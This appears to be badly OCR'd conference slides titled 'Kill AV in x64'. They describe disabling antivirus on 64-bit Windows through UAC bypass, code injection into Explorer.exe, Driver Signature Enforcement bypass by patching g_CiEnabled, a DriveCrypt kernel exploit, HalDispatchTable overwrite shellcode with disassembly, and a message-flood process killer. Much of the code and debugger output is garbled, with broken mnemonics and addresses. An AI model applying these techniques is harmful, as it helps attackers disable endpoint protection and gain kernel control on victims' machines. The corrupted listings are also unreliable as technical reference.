Kill AV in x64

Kenny@Choot.org

What' s AV?
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1. UAC Bypass
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3. Kill AV
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Windows/System32/sdclt.exe
Windows/System32/shrpubw.exe
Windows/System32/slui.exe
Windows/System32/SndVol.exe
Windows/System32/syskey.exe
Windows/System32/sysprep/sysprep.exe
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Calc.exe
Taskmgr.exe
Notepad.exe
Explorer.exe

Code Injection
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Explorer.exe

WriteProcessMemory
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CreateRemoteThread
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IFileOperation Object Pattern
3AD05575-8857-4850-9277-11B85BDBSE09
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How to Bypass
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REAL Programmers code in BINARY.
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Binary Patch
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http://fyyre.ivory-tower.de/
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A quick insight into the
Driver Signature Enforcement
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http://j00ru.vexillium.org/?p=377




Bypass &1l
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nt! MmLoadSystemImage

nt! MiObtainSectionForDriver
nt! MiCreateSectionForDriver
nt! MmCheckSystemImage
nt! NtCreateSection
nt! MmCreateSection
nt! MiValidateImageHeader

nt! SeValidatelmageHeader > @
nt! _g_CiCallbacks[0]
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nt! g_CiEnabled
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/* drivecrypt-dcr.c

* Copyright (c) 2009 by <mu-b@digit-labs.org>
* DriveCrypt <= 5.3 local kernel ring0 exploit
* by mu-b - Sun 16 Aug 2009
- Tested on: DCR.sys
* Compile: MinGW + -Intdll
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
*/
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you in control of your company
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Kernel Hook in x86




PatchGuard in X64
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The ObRegisterCallbacks routine
registers a list of callback routines
for thread and process handle
operations.
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; int _ fastcall sub_1D938(PDRIVER_OBJECT DriverObject, _ inté)
sub_1D938 proc near

arg_0= qword ptr 8

nov [rsp+arg_0], rbx
push rdi

sub rsp, 26h

nov rax, cs:PsProcessType
nov rbx, rcx

lea rdx, quord_ABA20O

nov cs:quord_34308, rax
nov rax, cs:PsThreadlype
lea rcx, unk_342D8

nov cs:quord_34328, rax
lea rax, quword_34300

nov cs:quord_342F8, rax

call cs:0bRegistercallbacks

B BRI @ ZE Ui hiy

nov r11, cs:PsProcessType
mou edx, 3

lea rax, sub_19C60

mou cs:dword_1FCC8, edx

nov cs:dword_1FCES8, edx

mou cs:quord_1FCDO, rax

nov rax, cs:PsThreadType
lea rdx, a328510 ; "3285180”
mou cs:quord_1FCE®, rax

lea rax, sub_19D88

lea rcx, stru_1FDO8 ; DestinationString|
nov cs:quord_1FCCO, r11

mov cs:quord_1FCD8, rbx

nov cs:quord_1FCF8, rbx

nov cs:quord_1FCFO, rax
call cs:RtlInitUnicodeString
lea rdx, qword_20580

lea rcx, word_1FDOO

nov cs:word_1FDOB, 100h

mnov cs:word_1FDO2, 2

mou cs:quord_1FD18, rbx

nov cs:quord_1FD28, rdi
call cs:0bRegisterCallbacks
cnp eax, ebx

j1 short loc_1A1A4
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Message
Flood

=VOID K111GuiProcess(DWORD dwProcessld)
{
DWORD pi1d=0;
EnumWindows ( (WDENUMPROC ) EnumWnd, 0);
for(UINT 1=0;1<dwCount;1++)

{
GetWindowThreadProcessId(hWnds[1], &pid);
1f(pid=dwProcessId)
{
for(UINT j=0;;<0x1000;;++)
PostMessageA(hWnds[1],;,0,0);
}
}
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Kernel ShellCode

NtQuerylntervalProfile

+

HalDispatchTable + 0x8

1. kd> u KeQueryIntervalProfile 140
nt |KeQueryIntervalProfile:

fE£££800°041e2bf0 4883ec3B sub rsp, 36h

ff£££800° 041e2bfd 85cY test  ecx,ecx

ff£££800° 041e2bff 7508 Ine nt1KkeQueryIntervalProfile+0x10 (£££££800° 041e2c00)
ff£££800° 041e2bfd Bb05SEA3E0ff nov eax,dvord ptr [nt!KiProfileInterval (fffff800°03feBf54)]
ff£££800° 041e2bfe eblc jnp nt1KkeQueryIntervalProfile+0zdc (£££££800° 041e2cic)
fE£££800° 0412200 83£901 cnp ecx, 1

f££££800° 041e2c03 7508 jne nt1KeQueryIntervalProfile+0xld (£££££800° 041e2c0d)
f££££800° 041e2c0S 8b0S6Sdesdff nov eax,dvord ptr [nt!KiProfileAlignmentFizupInterval (f££££800°
f££££800° 041e2c0b eb2f Inp nt1KeQueryIntervalProfile+0xdc (£££££800° 041e2cic)
f££££800° 041e2c0d balc000000 nov edx, 0Ch

E££££800°041e2c12 894c2420 nov dvord ptr [rsp+20h],ecx

fE£££600° 041e2clb 4cBd4c2440 lea 19, [rsp+d(h]

EE£££800° 041e2clb Bddafs lea ecx, [rdz-0Bh)

f££££800° 0d1lelcle 4cBd442420 oo ri—froptiin
f££££800° 041e2c23 ££150£70e0f€ call quord ptr [nt!HalDispatchTable+0z8 (f££££800°03fe9c38)]
ff£££800° 041e2c29 85c0 t =Ev o=
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Shellcode
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NtQuerylntervalProfile FEE AR
AB S Exploit K& HalTable
1: kd> dg haldispatchtable+8
fEE££800°0403dc38 |f££f£f£800° 032438e8| f££££800° 03244470
ff£££800°0403dc4d8 Ul 04238ta0 000000007 00000000
f££££800°0403dc58 ff£££f800°03f0£fbS0 f££££800° 04127240
fE£££800°0403dch8 ff£f£f£800° 041lebdbc f££££800° 04326860
f££££800°0403dc78 ff£f££800°03eeaf00 f££££800° 03ealdafl
f££££800°0403dcB88 ff£££f800°03ea3afl f£f£f££800° 03ed42cad
fE£££800°0403dc98 ff£f£f£800° 03243288 f££f££800° 03219418
f££££800°0403dcal8 ff£f££800°03e42c18 f£f£££800°04238£fa0
== . =
i = HalDispatchtablesi
0: kd> dg haldispatchtable+8
f££££800°0403dc38 | 000000007 0024£20c|f££££800° 03244470
f££££800° 0403dc48 U0 J4Z238Eal 00000000 00000000
fE£££800°0403dc58 ff£££f800°03f0£fb90 f£f£££800° 0417240
fE£££800°0403dce8 fff£f£f800°041lebdbc f££££800° 04326860
f££££800°0403dc78 f£f££££800°03eeaf00 £££££800° 03e2a3afl
fE£££800°0403dc88 ff£f£f800°03eal3afl f£f£££800° 03ed2cad
f££££800°0403dc98 ff£f££800° 03243288 £££££800° 03219418
f££££800°0403dca8 ff£££800°03e42cl18 f£f£££800°04238£fa0

= HalDispatchtablef&




Exploitiit 12

#17Shellcode

Bypass FALE
e HREWME Driver
|
Kill AV PspTerminate
ThreadByPointer

00000000°0024£2¢d 90
00000000°0024f2fe 90
000000007 0024£2¢£ 90

00000000°0024£30a 4870000000000 naov

nop
nop

nop
00000000°0024£300 48b8582e070400£8££ff mov rax,offset [nt!g CiEnabled|(ff£££800°04072e58)
rax), U

00000000°0024£311 4831cD

00000000°0024£314 3
00000000°0024£315 90

quord ptr [
HOT rax,ra

ret
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